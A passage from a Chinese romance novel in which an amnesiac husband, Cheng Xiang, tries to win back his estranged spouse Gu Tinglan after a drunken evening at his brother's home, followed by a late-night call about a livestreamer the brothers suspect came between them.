然后就见清冷不染尘埃的好友，伏下身将睡着的弟弟搀扶了起来。
“我来帮忙。”程铭担心顾听岚的小身板扛不动弟弟，赶紧过去帮忙。
结果在抢夺时用力过猛，把睡得正香的人给弄醒了。
“好疼——”
睁开眼睛看到心心念念的人就在眼前，程想立马不喊疼了，一双狗狗眼一眨不眨地紧盯在顾听岚身上。
见弟弟一点眼神都没有给自己，程铭也不生气，说道：“既然醒了，那就赶紧起来。听岚可是为了来接你，专门大老远跑过来的。”
“啊！”程想一听，顾不得头还晕着，忙起身穿鞋，站起来就要跟男神走。
顾听岚拉住他，问道：“还难受不？要不要喝点热水？”
说完，眼睛看向一旁的程铭。
程铭认命地拿起茶几上的茶壶倒茶：“你嫂子刚泡好的白茶，要不要喝点？”
“可、可以。”程想确实有点口渴，接过哥哥递来的茶杯，仰头喝完了。
“还要吗？”程铭又问。
“不要了，谢谢哥。”
喝完热茶，程想还是有点晕晕乎乎。
不过也是因为还觉得在梦里，他胆子大了许多，牵住顾听岚垂在身侧的手，对程铭道：
“哥，我们走了，改天再来找你。”
“行，改天见。”
按道理来说，程铭这个做哥哥的应该去送送弟弟两人的，但他只站在客厅，目送程想和顾听岚手牵手离开。
一直到进了电梯间，程想也没有把顾听岚的手松开。
他还擅作主张，将戴在右手无名指的戒指取下来，戴在了顾听岚左手无名指上。
“听岚哥，”借着残存的酒劲，程想大着胆子耍无赖，“你过来接我，是不是不想跟我离婚了？”
27.态度软化
顾听岚没有回答这个问题，却也没有再把结婚戒指还给程想。
程想就当他默认了，喜滋滋地握紧两人相牵的手。
等两人来到顾听岚的车前，程想的手机响了，是程铭打来的。
“我突然想起来你们买的那些衣服还在我车上，你们俩没走吧？”
程铭气喘吁吁的声音传进程想耳朵里，一听就知道正在追过来的路上。
“没有呢，我们在单元楼外面等你。”
挂完电话没多久，程铭便开着车来找他们了。
程铭下车后，笑道：“要不是我明天一早要用后备箱，就不喊你们现在拿走了。”
“还好你打电话了哥，要不然明天我就没衣服穿了。”程想还是更喜欢穿宽松休闲的款式，也想和男神穿情侣装。
他忘了如今两人都工作了，穿休闲装的机会并不多。
三人把装着衣服的纸袋转移到顾听岚车上后，程铭便开着车去地库停车了。
顾听岚则载着程想将车往小区外开去。
短暂睡了一觉之后，程想精神好了许多。
他不敢打扰专心开车的顾听岚，便在心里找了许多话题，打算等回到家后，两个人好好再聊一聊。
他虽然没有听到程铭和顾听岚今晚聊的内容，却也知道两人之间存在着沟通问题。
等车子停下后，程想才迟钝地发现顾听岚把车开到婚房这边来了。
还直接停在了单元楼门口。
“我们今晚不回小房子那儿住了吗？”程想提起一颗心问道。
因为这里是顾听岚跟他说离婚的地方，导致他对这边有了阴影，认为两人来这边就是要离婚。
好在顾听岚回道：“明天你要上班，这里离你上班的地方近，而且，小房子那边没有你上班要穿的衣服。”
“哦，这样啊。”程想松了口气，“那我们拿了衣服，回小房子那儿怎么样？”
“明天我也要上班，我没时间开车送你去上班，张秘书去小房子那儿接你也不方便。”
“那就是说，我今晚一个人住这边吗？”
程想很不满意这样的安排，但也知道让顾听岚住这边不现实，强打起精神道，
“先这样吧，我会尽快学会开车，以后想住哪里都方便了。”
大概听出这句话是在试探，顾听岚主动说道：“离婚的事，我会重新考虑的。”
“真的？”程想终于开心起来，“那你好好考虑，听岚哥，周末我可以去小房子那边住吗？”
这有些步步紧逼，但顾听岚却同意了：“可以。”
“好，那我下车了，明天见。”程想推开车门之前，又多问了一句，“今晚的晚饭没有一起吃，明晚一起吃，可以吗？”
“嗯。”顾听岚依旧答应了。
这让程想更加开心，下车后，绕到车的另一边。
顾听岚以为他还有什么要交代，将车窗按了下去。
程想见他这么配合，毫不犹豫将手臂伸进车内将人搂住了。
顾听岚没预料到是这个走向，浑身一僵，却没有要挣脱的意思。
“听岚哥……”
程想把头也凑了过去，用额头在顾听岚脸侧蹭了几下，他其实很想亲亲对方，却是不敢，
“我真的很喜欢你，从第一次见你时就喜欢了。”
这话有些煽情，天生泪点低的程想差点把自己说哭，他便松开乖乖不动的男神，深吸几口气后，继续道：
“我知道之前我做的事情让你伤心了，你不用急着给我答案，多考验考验我。不管你最后做什么决定，我都尊重你的决定。”
顾听岚灰色的眸子看了过来，虽然他总是喜怒不形于色，但程想还是从那双漂亮的眼眸里，看到了细微的触动。
程想更想亲他了。
不等他鼓起勇气，就见车窗被按了回去。
程想只好冲对方挥手告别。
他这边依依不舍，顾听岚却干净利落地开车离开了。
直到车子开出小区，程想才把目光收回来。
然后慢悠悠往单元楼走去。
回到这个位于27层的大房子里，程想像泄了气的气球一般，把自己扔在沙发里半天不动弹
直到手机信息提示音响起，他才睁开眼睛坐起来。
是顾听岚发的vx。
【顾听岚：买的衣服忘记给你了。[图片][图片]】
通过图片背景，程想发现对方已经到家了，并且还拿进了小房子里。
那么多纸袋子，一个人至少要分两趟才能拿回家。
程想当即愧疚地不行，直接一个语音电话打了过去：
“听岚哥，对不起，怪我忘记了，你一个人跑了几趟拿回家，肯定很辛苦吧。”
“虽然不太好拿，但是不重，一点也不辛苦。”顾听岚语气平常，可见真的不觉得有什么。
程想便放下心来：“反正周六，不，周五晚上我就回小房子那儿了，我的衣服你不用管，就放袋子里吧，等过去了我自己收拾。”
顾听岚没有回应这个话题，等了会儿不见程想再说什么，主动开口：“明晚，你想吃什么？”
其实这个才是他发信息的目的。
在把程想送到天鹅湖小区，也就是婚房的时候，他就想到了衣服的问题。
但程想没有提起，他便也不好意思开口。
“明晚！”程想激动到直接站了起来，这证明什么不言而喻，“我什么都可以，听岚哥你想吃什么，按照你的喜好来吧。”
“那就我安排了。”程想并不知道，顾听岚也松了口气，“你下班前给我打电话，我去接你。”
“好的，我会提前联系你的。”程想开心得直摇尾巴，“好想马上就到明天晚上。”
“那你早点睡，就能快点到明天了。”
听到男神竟然破天荒安慰了自己一句，程想简直以为是在做梦。
怎么感觉这次吵架之后，男神对他的态度变好了呢？
不对，应该是在哥哥家里之后，男神才对他态度好的。
难道是他哥，帮他在男神面前说什么好话了吗？
越想越有可能，等和顾听岚互道晚安后，
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程想也不管这时候已经深夜了，一个电话打给了程铭。
好在程铭还没睡，不过他也准备休息了。
所以接起电话后，语气不太好：“又怎么了？我检查过了，你没东西落在我家。”
“我不是要问这个。”
程想轻快的语气一听就知道心情很好，
“哥，今晚你是不是跟听岚哥说了什么，他不仅对我态度好了很多，还把我的vx加了回去，给我发信息了呢。”
“……”程铭冲天花板翻了个大大的白眼，“又来跟我秀恩爱了是吧。”
“没有没有，我真是想问你是不是跟听岚哥说了什么，你就告诉我嘛，要不然我该睡不着觉了。”
“我是有拿你失忆的事情，劝他不要跟你离婚，不过，我觉得他对你态度改变，应该是调查他隐私这件事。”
程铭身为局外人，能一眼看中问题的关键，
“他好像以为我们，主要是我找人把他家里所有事情都调查出来了，而且还可能跟何昊谦有什么关联，你又出轨何……”
“我没有出轨这个人！”程想立即反驳道。
“是，你没出轨，我说错了。”程铭改了个说法，“你疑似和他暧昧不清，所以听岚才执意要跟你离婚。我跟他解释过了我们都调查了哪些事情，他应该是以为误会你了，所以对你态度变好了。但是不对啊……”
越复盘程铭越不能理解：“一开始听岚要跟你离婚，也是这个原因吗？”
“我虽然不知道他第一次为什么要跟我离婚，但是今晚他才知道我之前调查过他，应该不是因为这个原因要跟我离婚的。”
“难道是因为他以为你出轨何昊谦，所以要跟你离婚吗？”
程铭发现自己对好友实在是不够了解，越分析疑惑越多，便放弃了，
“算了，你们的事情你们自己解决吧，反正通过今晚我发现你们两个最大的问题是缺少沟通，你抽空找个环境好点的地方，平心静气跟听岚好好谈谈，话说开了你们之间应该就没有什么问题了。”
“嗯，我也是这样打算的，等周末吧，我会跟他好好聊一聊的。”
“那个何昊谦，你最好也找他聊聊，你是没出轨，但你们之间可是比一般人要暧昧得多。他是做小主播不容易，但是你为了给他涨人气，几十万地给他砸礼物，实在是太不像话了。”
“他是主播，我以前经常给他砸礼物？”程想光是听到“几十万”这三个字，就已经肉痛了。
这出手也太大方了吧。
他有几十万地给顾听岚花过吗？
仗着弟弟失忆了，程铭也不怕暴露自己找人暗中监视他的事，说道：
“何止经常，只要他开播，你几乎每次都在场，还成了他的榜一大哥呢，五千一个的游艇，你能下雨一样地给他送，你要是拿出这种劲头对听岚，就算你真出轨了，他也不会跟你离婚的。”
“说什么呢，我才不会出轨！”程想的脑子也转了起来，
“哥，既然你连我这么隐私的事情都知道，那你应该知道，我跟那个何昊谦是清白的，对吧？”